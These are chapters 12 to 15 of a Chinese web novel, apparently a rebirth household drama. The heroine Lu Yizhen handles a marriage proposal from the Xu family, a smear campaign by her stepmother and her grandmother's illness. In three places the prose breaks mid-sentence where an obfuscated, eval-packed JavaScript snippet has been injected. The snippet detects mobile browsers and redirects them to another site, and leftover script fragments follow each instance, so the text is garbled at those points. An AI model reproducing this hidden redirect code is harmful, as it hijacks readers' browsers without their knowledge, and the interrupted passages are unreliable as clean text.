陆以蓁无奈扶额,突然想起上一世,三妹嫁进许家后也是常来看她笑话的,每次都是趾高气昂、冷言嘲讽,倒都有些习惯了。 虽然她在许家过的不算好,但总归还是吃得饱穿得暖。因此,她对陆以菁,真的算不上讨厌,她也觉得以陆以菁的性情,谋划不了这许多事情。 但陆以菁不行,不代表于氏不行。一日不查明真相,她便不能心安。 事已至此,那她便以身为饵,再推波助澜一把。 12. 十二 春雨下个没完,连日的雨下得淅淅沥沥,似乎又回到了从前般的日子,除了到宝华堂请安侍奉祖母,陆以蓁窝在闺阁中待了好些时日。 已至夜时,四周出奇地安静,只剩下雨滴打在屋檐上的声音。 朱窗半开,吹进屋内的风还带着凉意,坐在案前作女红的少女不由打了个冷颤。一旁的两个丫鬟一人递上披风,一人奉上热汤。 云枝忍不住打破了宁静,“姑娘,这香囊你绣了好多日了,莫不是要送给许公子的?” 她旁边的雪枝撇了撇嘴,用手轻推了她一下,“怎么整日许公子许公子的,你就这么想姑娘跟许公子在一起啊。” “我觉得许公子人挺好的呀,这些日子又是送名画又是送墨宝的,我可没见过品质那么好的狼毫笔呢!又是投其所好,看得出他对咱们姑娘真的用心。”云枝睨着姑娘的神色,见姑娘神情没什么变化,又道,“而且姑娘不是收下了许公子的礼物吗,这难道不是回礼?” 陆以蓁比着同心结的编法给香囊打了个结,翠色缎地丝绣垂着流苏,散发出隐隐的佩兰香气。 她漫不经心地回了一句,“自然不是,许公子送的东西可都要收好了,日后尽数还回去。” 云枝不解:“姑娘前几日不是同老夫人讲,会应许这门亲事吗,聘雁都留下了。” “你呀,”雪枝无奈摇头,“姑娘明明说的是许家清流世家,与陆家确实相配,又没说自己要嫁过去。而且一没问名,二没纳吉,就算收下聘雁,也做不得数,不算定亲。” “可外面都在说是许公子对咱们二姑娘一见倾心,非姑娘不娶呢。” 陆以蓁也笑了,“这流言也是越传越离谱了。” 云枝正色道:“可不是乱传,这话是许公子自己说的!” “我也是这么听说的,”雪枝接话,“就在前些日,礼部在君子阁设宴宴请京城参加科考的学子,不少世家哥儿也受邀前去。这话是季世子当着众多人面问许公子的,许公子直言说钟意姑娘,非卿不娶。” “……”放下香囊,陆以蓁柳眉皱起,对许翊然这些举动实在无言。 不过也好,事情越是这样发展,那边玉华苑该是坐不住了。 瓷器碎了一地,于氏看着屋里还在摔东西的女儿,深叹了口气。 “菁儿,你冷静些。” 陆以菁眼眶红红的,似是怒极,见到母亲又有些委屈,“娘,凭什么好事都得先让她占了啊,明明先认识许家哥哥的人是我!” 于氏哪里不晓得自己女儿的心思,原先家宴时她便想让女儿惊艳四座,也是为了相看个好郎君,哪想陆灼瑶横插一脚,抢了菁姐儿的风头。那日菁姐儿只堪堪与几个公子打了个照面,虽说许家哥儿确实一表人才,但要说女儿自此就情根深重了?倒也不见得。 反倒是从许家有意跟陆以蓁结亲后,菁姐儿才对那许家公子执着起来。 说到底,她是不服气。 于氏叹道:“那许家公子条件是不错,但京城那么多达官显贵,娘定能给你找门更好的亲事,你又何必如此啊菁儿。” 陆以菁拉着于氏,“我就是喜欢许家哥哥,凭什么陆以蓁能嫁我不能嫁。娘,不然你去跟爹说说,爹最疼我们了,爹要是肯出面,那亲事就能换成我跟许家了。” “胡闹!”于氏厉声说了句,随即反握住她的手,语重心长道:“许家是书香世家,许老太爷是文学大家,也确实受天下学子尊崇,。但那都是虚名,要说实权那是没有的,说难听点,你嫁到许家做正妻还不如嫁给宁远侯做妾室。” 闻言陆以菁瞪大了双眼,满脸不可置信,“娘,你在说什么!你竟想让我去给那个杀神做妾?” 于氏连忙安抚她,“娘只是想让你明白,许家不是好的选择,纵使是权臣家的妾室,也比许家正妻的地位来的高。不说远的,你看那魏姨娘,不过是商贾之女,却因为你父亲升官,她的地位也跟着水涨船高。娘说这话自然不是让你去为妾,你可是我身上掉下来的肉,又是相府嫡出的千金,娘怎会让你去做妾!二姐儿愿意嫁便嫁她的,娘自会替你找到比许家好千百倍的人家,不必去争抢。” “你看当初,我与你爹还是情投意合,但就因他那时是个小侍郎,你外祖父瞧不上他,整个于府都反对我跟他在一起,娘就是一意孤行,受了多少冷眼和闲言碎语,后来要不是你爹争气,我们娘俩怕是要被藏在于府一辈子……男人没有权是万万不可托付的,你外祖父位列三公,父亲如今乃是相国,你的身份如此尊贵,便是太子妃你也做得,不必纠结一个小小许家。更何况你以为那许家为何要娶蓁姐儿,还不是为了与陆家结亲,为的是许家哥儿今后的仕途。” 于氏讲了这许多,陆以菁还是满眼执着,“我才不想做什么太子妃!我就是喜欢许家哥哥!娘,父亲如果肯帮许哥哥,许哥哥自然也可以坐上高位掌握实权,我也是陆家的嫡小姐,娶我一样帮衬到许家。” 跟女儿说不通,于氏又是生气又是无奈,却也转念想了想,菁姐儿的话也有几分道理,最终沉默半晌后还是松了口,“你……真是拿你没办法,你也看到了,宝华堂那位是决计不会让二姐儿的亲事落到你头上的。你父亲那边,上次你犯了错,你父亲已经是偏疼你惹怒老太太了,照你父亲的性子,多半在二姐儿的亲事上是不会迕逆老太太意思的。只能想想别的办法了……” 陆以菁却不苦恼,露出个笑容来,“娘,我有办法。”她凑到于氏耳边小声言语,后者听她说完后有些犹豫,片刻后还是点了点头。 于氏嫁到陆府也有八年了,她出身世家,又颇受丈夫疼爱,但就是因为那老妇掌着管家权不肯分权,她又迟迟没有诞下个哥儿,让她这个“当家主母”做得窝囊,府中姨娘都快要越过她去。菁儿此事虽然不是她所期望,但既然女儿执意如此,不如成全了她。 那老夫人不是就想着把陆以蓁嫁到许家吗,她便不让她如愿。给她添堵,就是让自己畅快。于氏怨毒地暗想着。 “这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14243919|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要小心去办,可不能坏了你的名声。” 连下几日的春雨终于停了,满园春色还带着烟雨朦胧之感,绿叶上挂着露珠,清新的空气扑面而来。 陆以蓁照例起了个大早,到陆老夫人院里请安服侍。 都说人逢喜事精神爽,想着孙女的亲事,老太太最近精神气儿都好了不少,“近些日那许家哥儿可是日日来府上送东西,你虽未与之见面,但祖母见你也一一收下人家的好意了,该是愿意嫁的,怎的还不去跟郭夫人回话?” 陆以蓁给祖母锤着背,柔声玩笑道:“祖母可是嫌弃孙女了,这般希望孙女嫁出去,都不让孙女多留些时日,好在您膝前尽孝。” “你近来是越发敢说了,”老太太佯装斥责,脸上却满是慈爱的笑意,“来年你便及笈了,早些把亲事定下来才是。” 与许家定亲的时闹得沸沸扬扬的,如若那边真不做出什么反应,她倒是有些下不来台了。 正想着这事,祖母身边郑妈妈从外边匆忙进来,脸色不是很好看。 “二姑娘。”她看了一眼陆以蓁,行了个礼,说完便走到老太太耳边轻语。 陆老夫人听她讲完后十分震怒,一拍桌案,瞧见孙女还在跟前,话到嘴边又止住了。 “不知发生何事?”陆以蓁看向郑妈妈。 郑妈妈犹豫不知该不该说,“这……” 这反应,想来是和她有关了。 老太太勉强压下怒火,“蓁儿,这事你不必掺和,祖母自会妥善处理,你且先回屋去,这几日就待在院里不要四处走动。” 祖母发了话,陆以蓁哪有不从,只欠了欠身,“祖母莫生气,请祖母千万保重身子。” 待她离开宝华堂,陆老夫人变了脸色,目光锐利,“知道这事的就那么些人,明摆着要坏蓁儿的婚事,我看究竟是谁这么大的胆子,去把老爷请来。” 看来,与许家的事不用操心了,那边既已出了招,见招拆招便是。 从祖母那里出来后陆以蓁并未回自己的院子,而是带着松枝一路行到别院。 如今已是四月,桃花缤纷满地桃色,再过不久花期就要过了。趁当下春色盎然,繁花似锦,她也想像这花儿般伸出枝桠,开在心中喜爱之人的窗前。 墨云轩是个静谧的院落,但今日有些不同,还未走近便听到嘈杂吵闹的声音传来。陆以蓁心头一紧,不禁加快了步伐。 经过长廊刚到石拱门,与对面同样疾步而来的美艳女子碰上。 “长姐。”陆以蓁率先开口。 陆灼瑶也朝她颔首,神色有些焦急,“二妹妹,进去看看再说吧。” 二人一同进了院子,映入眼帘的便是那抹清瘦却挺拔的背影。 府中安排给林行简的仆从不少,但他只留下了一个侍童,此时正跪在一旁。 在他们对面,是被一堆人簇拥着的陆以菁,她嘴角带着讥笑,言语刻薄。 “真是有什么样的奴才,就有什么样的主子。” 13. 十三 玉华苑陆以菁身边的人大多是从于府来的,除了对自己主子以外,向来眼高于顶,此时一群人就用充满了讽刺和嘲笑的目光盯着林行简和他的侍童。 那素衣公子身姿挺拔,并未露出狼狈的模样,神色更是冷漠淡然,“请三小姐拿出证据。” 陆以菁毫不掩饰自己的嚣张跋扈,“还需要什么证据?你旁边那个狗奴才屋里的镯子就是证据。” “本小姐念在你是父亲门生,不跟你一般计较,你把人交出来,此事就算作罢。” 她话一出,那跪在地上的侍童身体颤抖着,对林行简哀求道:“公子,求求你,不要把我交出去。我真的没有偷东西!公子你要相信我!” 陆灼瑶和陆以蓁算是看明白怎么回事了,两人纷纷上前。 “三妹,这是发生何事了?大老远就听到吵闹的很。”陆灼瑶走到林行简身侧,与他对视一眼,目光很快便躲闪开来,只直直看向陆以菁。 陆以菁见她二人来此,倒是一改常态,竟露出个笑容来,“我前脚刚到,大姐二姐就都来了,今日这墨云轩可算是热闹。” 陆以蓁知自己今日来这里碰上她们是偶然,但看长姐急匆匆的模样,像是有事。陆以菁话音刚落,长姐就将目光转向了自己,目光犹豫不明。 “既然两位姐姐要来凑这个热闹,那我便请两位来评评理。”陆以菁令人搬来三张圈椅,见两人没有要坐的意思,便自顾自地坐下,“我屋中有一对宝石金镯,原是前些日姨母赠予我的。本来放在首饰盒里好好的,今日想拿来戴便发现不见了。审问好些人,都说只有这奴才曾鬼鬼祟祟进过我屋里。带人来查,果真在他房里搜出了这镯子。二位姐姐说说,这人赃俱获,我是否可以把人带走处罚?偏这林公子拦住我,还问我要证据,这镯子不就是证据。” 她说着拿出一对璀璨夺目的宝石金镯,看得出确实是价值不菲。 说的是人赃俱获,但她的话漏洞也很多,陆以蓁主动开口,“三妹住玉华苑,离着墨云轩并不算近,而这小童自前些日便被派给林公子,一直在墨云轩伺候。他是怎样得知三妹得了宝物,又是怎样绕开玉华苑那么多人偷盗的呢?” 陆灼瑶也帮腔道:“是了,三妹你决断下得过早,也许这小童真是被冤枉的。” 这时陆以菁贴身侍女春叶嘟囔着,“这都是个惯犯了,还说什么被冤枉。” “你说说,究竟是怎么回事。”陆灼瑶把目光投向那侍童,后者羞愧地低下头,缓缓将事情经过吐露出来。 侍童名叫阿益,他母亲是陆府浆洗的仆妇,他便也自小在陆府做工,就伺候在玉华苑。去年他母亲生了重病,家中没银钱医治,他便起了歹心,偷了玉华苑里于夫人的一件首饰,可他因着良知,心中纠结迟迟没有变卖东西,反倒被玉华苑同住的小厮给发现了,本是要挨二十个板子的。阿益年纪小身量也小,这板子一挨,没死也要去半条命。被处罚那日正巧被陆老夫人和陆老爷撞见了,老夫人心善,见他也是个有孝心的孩子,让陆老爷开口免了他剩下的十个板子,还拿了银子给他娘治病。此时算是揭过,自那以后阿益就在陆老爷书房伺候,后被管事安排给林行简做侍童。 从阿益口中又得知,前些日去给林公子送膳的时候碰上了玉华苑的侍女秋叶,秋叶称自己内急,又怕送晚了三姑娘的燕窝挨骂,请他帮忙送去。阿益只好接过食盘,去了玉华苑,但到了却看到玉华苑无人,他就进屋放了食盒就离开了,绝没有碰过三小姐的东西。 事情说到这里就已经清晰明了了,坐着的陆以菁冷笑出声,“他说放下东西就走了你们就信啊,那镯子又怎么会无缘无故地出现在他屋里。” 秋叶小心翼翼说道:“我确实让她帮忙送食盒了,哪知道他会见机偷东西……” 她身边春叶也小声接话道:“就是,有了一次就有二次,狗改不了吃屎。” 陆以蓁抬眸看过去,眼神少有的凌厉,正待开口,一道冰冷却清润的声音响起。 “欲加之罪何患无词。三小姐若是要惩戒阿益,在下愿意替他。” 雨后还有些微凉,风拂起他的衣诀,此时显得分外单薄,一身冷清却又峥然凛冽。 这公子容貌实在过人,陆以菁都有些晃神,随即不知想到什么,眼中又升起轻蔑,还意味不明地瞧了眼陆以蓁。 “罢了,这玩意儿对我来说不过是个小物件,只是姨母赠予自是要好好珍藏的。”陆以菁举手取下了自己手上的一只沉甸甸的金镯,往阿益身上扔去。 林行简反应极快往前一挡,那金镯撞上他的膝盖骨,发出一声闷响。 “你……”陆灼瑶怒气上来,正要发作。 陆以菁毫不在意地起身,“既然这般穷酸缺银钱,也用不着去偷了,拿着吧,赏你了。”她虽是对阿益说的话,却看向了林行简。 这般被折辱,林行简却也没有生气,他垂着眸,眉梢眼角都是疏离冷意。 她转身欲走,陆以蓁上前捡起那只金镯,又快步走到她身前,不由分说地拿起她的手,将镯子硬套了回去。 陆以菁惊怒喊道:“你做什么!” 别说她,就连陆灼瑶也诧异地看向了二妹。 少女面容清丽,眉眼弯弯,语气也很是平和,“三妹妹,赏赐就不必了。自己的东西还是要小心收好才是,没的过两日便又不知出现在哪个侍女小厮屋里了。” 她话中暗指自己栽赃嫁祸,陆以菁却不生气,因为事实便是如此。闹这出戏,也只是为了羞辱那穷酸书生一番。看到她这般反应,陆以菁反而觉得讥讽。 意味不明地看了一眼陆以蓁和林行简,陆以菁带着玉华苑一行人离开了。 墨云轩只剩下几人,陆灼瑶让惜花将阿益扶起来,看着二妹和那公子,竟一时不知该怎么开口了。 林行简朝两位姑娘作揖,“多谢二位小姐相帮。” 他就站在那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14263127|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身姿颀长,面容平淡,虽是在致谢,却还是让人感觉难以接近。 阿益也朝着两位拜了拜,又对林行简磕了个头,“公子大恩,阿益愿意给您做牛做马。” 林行简弯下身将人又扶起来,向来冷冷的神色温和了几分,“清者自清,你本就不应该为没有犯的错受罚,不必谢我。” “好了,这件事情也算了了,”陆灼瑶轻叹一声,琉璃般的眸子望向陆以蓁,“二妹妹,我有话与你说。” 两姐妹在墨云轩相遇,自然都是来找林行简的。被陆以菁这事一搅和,两人的事便都没做成。 陆以蓁是来送香囊的,那陆灼瑶呢?长姐今日从见到她起神色就有些反常。 “二妹妹,”遣退旁人,陆灼瑶与她一路往芳华苑去,到半路才出声,“其实我应先去找你的,但我还是去了墨云轩……说来,是我考虑不周。” 既牵扯了墨云轩又牵扯到自己,陆以蓁脑海里闪过祖母和郑妈妈的神色,又想起陆以菁的眼神,她好像察觉到了什么。 听长姐又道:“你觉得林公子如何?” “……”陆以蓁不知如何作答,良久才说出三个字来,“他很好。” “那如若让你嫁给他呢,你愿意吗?”长姐目光灼灼地盯着她,也不知她是希望听到什么样的答案。 陆以蓁终于想通了今日种种,合着她自己设个圈套,把自己也框进去了。 她苦笑道:“长姐,是否是那日我落水被林公子所救之事传了出去?” 没有听到回答,但见长姐轻点了下头。 “可是外面传言我与林公子肌肤相亲,被玷污了清誉之类的话。”陆以蓁又问。 陆灼瑶抿了抿唇,“全京城都知道许家公子钟意你,这眼看着好事将近,却莫名多了这许多流言……比你所想的,还要难听些……” “此事有关清誉,跟以往流言不同,我想,许家的亲事,是不成了。若是不嫁于林公子,日后也很难再找到好亲事。所以,我今日想去找林公子,也是想告知他此事,看他如何想,想问问愿不愿意……娶你为妻。” 她顿了顿,又道:“实话告诉你吧二妹妹,我曾嘱意林公子,他也婉拒了我,我虽在意,但也并非放不下。你如今的情况不同,无关乎情爱,我想不管他愿意否,眼下都只有将你二人婚事定下,才能止住流言。” “长姐,你待我好对我真诚,我也不能与你说假话。”陆以蓁正色道,“我愿意嫁给林公子,但不能是这样被逼迫的方式。” 听闻她的话,陆灼瑶有些讶意,继而坦然笑了笑,“既能嫁给心爱之人,为何不愿呢,不如顺水推舟。” “换做是你,你会这样做吗?” 见长姐沉默,陆以蓁也笑了,“长姐与我,都是一类人。无事,船到桥头自然直,大不了我就一辈子不嫁侍奉祖母,倒也算如愿。” 陆灼瑶无奈地摇摇头,“恐怕,连这样都很难如愿。” 14. 十四 夜色昏暗,整齐洁净的书房里只点了一盏烛灯,烛光摇曳,将男人修长的影子照得晃了晃。 他跟前是几乎跟夜色融为一体的黑衣人,正屈膝向他汇报。 “你说的是翰林院那个许家?” 黑衣人答:“是。” 男人鼻梁高挺,眉眼深邃,脸上总带着一种淡定的笑容,但却笑意不至眼底,透着难以琢磨的感觉。 黑衣人又道:“近日流言四起,传陆家二小姐与其父门生有染,早已不是清白之身。” “把人找出来。” “直接杀了。” 回到屋内的陆以蓁感到十分头疼。 没想到玉华苑出的是这样损人不利己的招数,她还是太嫩了,被搞得有点措手不及。 原以为那边借此会对祖母下手,她还特意叮嘱郑妈妈一定注意老太太的饮食起居,凡是经口之物都用银针验上一验。 哪想,人家直接冲着她来了。也是丝毫不顾陆府的名声了,这可真是让她进退两难。 母亲的事她不可能不查,陆府就这么多人,如果不是玉华苑的,那还能查到谁头上去……朝华苑? 还有前世祖母突然病重的事…… 林公子会试将近,也不知道这般流言是否会影响到他…… 陆以蓁双手揉了揉太阳穴,她觉得还是自己思虑得不够周全,眼下该如何想出个万全之策。 翌日,宝华堂传话说二姑娘这几日都不必过去请安。 祖母是想瞒着她外面那些事,却不知她已经知晓了。 陆以蓁靠在榻上,捧着一本医书,眼里看着草药记载,脑中却还在思考对策。 云枝俯身在她耳边,“二姑娘,许公子求见。” 放下书简,陆以蓁眉头微蹙,随即又舒展开,“请许公子到正厅稍坐,我随后就来。” 也许,对策来了。 …… 许翊然穿了一身蓝色锦袍,腰间佩玉,依旧是温润如玉少年郎的模样。 见佳人款款而来,他心中莫名有些紧张。 陆以蓁虽神情淡淡,却比往日少了几分疏离之意,对他颔首道:“许公子。” “二姑娘,”许翊然向来温和有礼,带着如沐春风的笑意,今日他的笑却带着几分局促,“不知你可听到外头说的话了?” 不待她答,他又道:“不论你是否听说,我只想告诉你,我不信那些话。” 他话一出,陆以蓁终于抬眸,正眼看向他。 “我在君子阁曾对众人说,对你一见钟情,非卿不娶,此话是真心之言。”许翊然耳根微红,眼睛明亮,直直的看着她,“今日我还是想亲口问问你,可愿嫁我为妻?” 紧接着他又补上一句,“我许家清流世家,从不纳妾。这一世便只娶你一人,若你愿意,我定好好待你。” 陆以蓁愣了下,心下觉得此话可笑。可笑前世从未听得他只言片语,可笑今世他一往情深。 她不会嫁他,但必须利用他,这是她现下能想到的最快最直接的破局之法,“许公子,我实在不知如何答复,你可否容我想想。” 听闻她的话,许翊然眼神有些黯然,又温声笑说:“自然,终身大事,是得好好想想。科考将近,不如等我高中,再来问你要一个答案。” 她终究不是心狠之人,对许翊然一腔真心也会有些动容,心中难免愧疚,她对他笑了笑,答说:“好。” 隐蔽在屋外的女子妒恨地咬紧了下唇,死死握紧了拳头,连指甲陷进掌心都未发觉。 当日,许家公子在京城最具盛名的茶舍竹茗阁亲笔作画,画了一幅泛舟图,上有一翩然背影,题诗《关雎》。 紧接着这幅丹青就送进了陆府,到了陆二姑娘的手上。 此举引得众人哗然,但许家备受文人推崇,许翊然又是风评极佳的少年才子,还是赞赏声不绝于耳。 此事一过,大家便知道了,这许家与陆家的婚事,还没完。 陆以菁得知这消息,抱着于氏哭闹了整整一夜。 第二日被老太太交到宝华堂,神色透着疲惫,她垂着眼睛,掩住眼中的不耐和忿恨。 老太太头戴着抹额,单手侧撑住额头,闭着双眼,脸色看上去不太好。 陆承远关切询问:“母亲,可是哪里不适?” 老太太睁开双眼,凌厉地扫了眼于氏,又看向另一旁的魏姨娘。 一个娇艳欲滴楚楚可怜,一个美艳动人温柔体贴。这两个都是儿子的枕边人,都为陆府育有子女,却不见岁月在她们脸上留下什么痕迹。 可蓁儿她娘却深埋地底,已经八年过去。 瑶姐儿明哥儿还有菁姐儿,都有母亲疼爱,只有蓁儿,靠自己这个老骨头给她撑着。如今自己尚在,就有人把主意打到她孙女头上了,一次二次,那不能够。 “今日喊你们来,是老身有事吩咐。”老太太吐出一口气,神情严肃,“近日有人在外诋毁蓁姐儿名声,此事想来你们也有所耳闻。” 犀利的目光扫过在座每一个人,老太太冷哼一声,“好在许家公子并不介怀外头谣言,许家跟我们家的亲事还有的谈。但这件事不可能就这么算了,毕竟也有关我陆家名声,前日我让承远彻查,找出这个始作俑者,想来是有结果了?” 于氏心下忐忑,面上虽装作风平浪静,目光还是透着些紧张。 “回禀母亲,儿子这些日暗中探查此事,才知是府上那车夫与人吃酒时,将行简救下蓁姐儿的事抖落出去,但不知缘何到外面就变了个说辞。”陆承远说到后半句时才与于氏有了个目光交汇,后者心中一惊。 老爷定是知道了…… 陆承远又道:“昨日衙门派人来传,那车夫横死家中,死状惨烈,看不出是何人手笔。” 此话一出,几人都是又惊又疑,连与此事毫无瓜葛的魏姨娘都瑟缩地掩住了嘴巴。 杀人灭口,手段残忍。 如果是这样的人要害自家孙女,那未免太可怕了些。家里于氏、魏姨娘终究是妇人家,做不出这般事来,如果真是杀人灭口,这事陆府只有一人能做得出来。 陆老夫人看向自己的儿子,立马打消疑虑。事关自家荣辱,陆承远不会做这等事。 那真是巧合? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268343|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “罢了,既然涉及凶杀,就交由京兆尹去查。”老太太佝偻身子,止不住咳嗽,半晌才道,“我年纪大了,这府中许多事也是处理不过来。” 老太太说到这,于氏眼露光亮,难免坏了些期翼,却又听老夫人道,“蓁儿作为陆家嫡女,将来也要嫁做人妇,为一门当家主母,这管家的事,我决定交给她来做。” 闻言,三人神色各异。 魏姨娘倒是无所谓,管家的事怎么也落不到朝华苑头上,只是于氏恐怕要恨的牙痒痒了。这般想着,往于氏那一看,果真脸色难看得很。 “母亲,这是否有些不妥,”陆承远还是顾及着于氏的,“蓁姐儿年纪尚幼,管家事大,母亲若是无心力管,还是交给大娘子更为妥当。” 陆老夫人强硬道:“于氏嫁到陆府是有些年头了,可她连自己的女儿都教养不好,怎么当得起管家权。更何况蓁儿迟早要嫁人,等她出了阁,再把管家对牌交给大娘子便是。此事不必再议,明日我就让郑妈妈把管家对牌交由蓁儿。” 说起来这次外头传言闹得沸沸扬扬的,源头还是陆以菁,若她不害得二姑娘落水,就没有这后头许多事了。老太太又提起三姑娘的过错,陆老爷和于氏没了话说, 事情如此定下。 主苑。 陆承远脸色沉重,“茜儿,你此次这般做,可有想过我陆家名声?” 俯在兽皮软垫上的美妇已经是梨花带雨,我见犹怜,“陆郎,我这般做,也是为了我们的菁儿啊。” 想必老爷已经知道是她派人败坏二姑娘的清誉,隐瞒无用,只悲悲戚戚地作出副柔弱模样。 见她这幅模样,陆老爷心已软了大半,只无奈说道:“这事办的是大错特错。” “二姐儿是我陆府嫡女,也是我的女儿,你就算不喜她,也不应该用这些阴招对付她。而且你以为坏了她的名声,咱们的菁儿就能有个好亲事吗?愚昧至极。”陆承远摇头再叹,“我身居高位,多少人眼馋我如今的地位,一个不慎,被人捉住把柄,就是万劫不复。” 于氏连忙倚在他脚边,真切着急道:“陆郎,你要相信我,我绝无此意啊……” 这话倒不是吓唬她,朝中多少双眼睛盯着他,一点小事都有可能被利用,为官多年,陆承远一向小心谨慎。 “好在许家为给二姐儿肃清谣言,力排众议,这事算是暂且稳下。”陆承远将她扶起,爱抚地摸了摸她的脸庞,“今后不要再做这等事了,菁儿是我从小疼到大的,我又怎么会不为她的亲事着想。” 可他们的女儿现下着了魔般的执拗,非要嫁进许家不可……这话于氏没有说出。 只见老爷眼底透着些焦虑,“那车夫死得蹊跷,我派人探查也没查出个所以,但探查途中,得知你安排那些散布消息的人,全都死了,被抛尸在城外。” 于氏生出些恐惧来,这是怎么招惹到什么大人物了吗? 陆承远安抚地看她一眼,“我已将尸体处理了,你放心,查不到你头上来。只是这出手的人……虽不是冲陆家来的,也不知是何原因痛下杀手,总之,今后小心行事,莫要再犯傻。” 15. 十五 事隔多日,陆以蓁被叫到宝华堂,摆在她面前的是陆府的管家对牌。 郑妈妈在一边交代着。 “二姑娘,今后您就是陆家内院的话事人,这大一家子人与事就由您来统管了。” 陆以蓁露出惊讶的表情,“这是祖母安排的?父亲和大娘子也同意了?” 郑妈妈答:“是的,老太太吩咐,老爷也是知晓的。” 祖母疼惜自己,这明摆着是想让自己能安心待在陆家,不嫁人也有个倚仗。不过父亲……这倒是意料之外了,毕竟她这个爹从来不待见她,一年到头也见不上两回。 “祖母呢,怎么是郑妈妈来告知我。” 郑妈妈有些躲闪的神色,扯了个笑出来,陆以蓁一眼就看出了不对,心中疑惑担忧。 “老太太她……近日有些乏累,正卧床歇着。”似乎想到了二姑娘吩咐的事情,又道,“姑娘您放心,老太太入口的东西老奴都查过的,绝无问题。” 陆以蓁还是觉得有些不安,“可请府医来瞧过了?” “瞧过了,就说是老太太年岁已高,难免容易困倦。” “不行,我得去看看。”陆以蓁起身便要往厢房去,郑妈妈当即拦下她,神情很是纠结,不一会还是叹了口气,说了实话。 “府医说,老太太这是染了风寒,加上前些日府上诸多事,导致老太太心中郁结,加重了病情。现下虽无大碍,但日后必定要小心调养。老太太不想让您担心,瞒着不让说。” 是啊,祖母年岁大了,需得处处小心将养,这才能身体康健。陆以蓁想到了避免被人迫害,却没想到要从祖母内里调养,为此感到有些自责。 郑妈妈拦不住她,便跟她一同进了屋,看到床榻啥头发花白满脸病态的老人,陆以蓁瞬时红了眼睛,心中酸涩。 祖母还睡着,她坐到床边静静地看了祖母许久,又悄声地离开了。 走之前她对郑妈妈郑重吩咐,“郑妈妈,你在祖母身边多年,我和祖母都是最信得过你的。上次我说的事,还请你好好提防。另外府医开的药方我也看过了,今日我看了些医书,对此还是略通一二。药方没什么问题,主要是治疗风寒的,过段时间应该会换个方子调养,如果之后府医来换了药方,请你私下拿来给我瞧瞧。” 郑妈妈连忙点头,“是,二姑娘。” “另外,今日我来看祖母,你别告诉她,既然祖母不想让我担心,便如祖母所想。”陆以蓁浅笑着对她颔首,“有劳你了,郑妈妈。” 陆老太太称病,将管家事宜交给了陆以蓁,旁人还以为是她故意为之,哪晓得竟然真的病了。 风声传到朝华苑的时候,于氏心中暗笑。 这老太婆,也是自作自受。有这老太婆在一日,自己和女儿便都不能如愿。老天有眼,给了她们母女这么绝佳的机会。既然她如此维护老二,看轻她们母女,那就别怪她不义了! 只要这老妇不在了,那还未及笄的小姑娘还有什么难对付的。 如此想着,于氏低声吩咐自己的心腹,眼中尽是冷光。 管家的事其实并不繁碎,按照既定的规矩行事,陆以蓁在此事上做的是得心应手。 半月过去,转眼便要入夏了,祖母的病情微有好转,但精神气还是不如从前。陆以蓁翻看了许多医书,也算得上是略通岐黄之术。 府医换的调理方子她看过,没什么大问题。 芳华苑安静如初,屋内升起淡淡兰花香气,光束从纸窗透进来,扫到少女身上,带着温暖的气息。 “姑娘!”一声咋咋咧咧的呼喊打破这边宁静,云枝喜气洋洋地冲进屋里,“姑娘,放榜了!” “许公子中了!中了一甲!” 闻声,陆以蓁誊抄的字迹随着手一瓢。 若按前世来说,许翊然中榜,这代表着,林公子,也中榜了。 陆以蓁接过雪枝抄来的一甲名单。 果然,林行简的名字赫然出现在首位。 那三日后,便是殿试的日子,他将状元及第。她由衷感到开心。 与此同时,郑妈妈匆忙赶到芳华苑,推门而入,也顾及不了其他,只十分急切与陆以蓁耳语。 “姑娘,老太太中风了!” 陆以蓁慌乱地赶到宝华堂,只见屋内已经围了不少人。父亲大娘子就站在床榻边,父亲担心的神情倒是真切。后者…… 她眼中藏着一丝幸灾乐祸,陆以蓁没有错过。 走近一看,卧在床榻的祖母双眼朝一侧凝视,一侧面部已经麻木。 “祖母……”一见状,陆以蓁的眼泪就顺着脸颊淌了下来,声音是颤抖和哽咽的。 一旁的陆灼瑶一双眼也哭得有些肿,“祖母今晨突然晕倒,醒来后就变成了这样。” 她欲言又止,似乎是想吐露些什么,又怕二妹承受不住。 “怎么会……”陆以蓁跪在塌前,“怎么会突然这么严重!” 就在一旁的陆父并未责怪她不守规矩,想到女儿也是一片孝心,叹道:“你祖母身子骨本就虚弱,前段时间没觉出这先兆来,今早突的发了病,周大夫如今也是束手无策。” 陆灼瑶接口道:“父亲已请了宫里的李太医,他一定能让祖母恢复的,二妹妹你别太担心。” 好在父亲还是担忧祖母的。 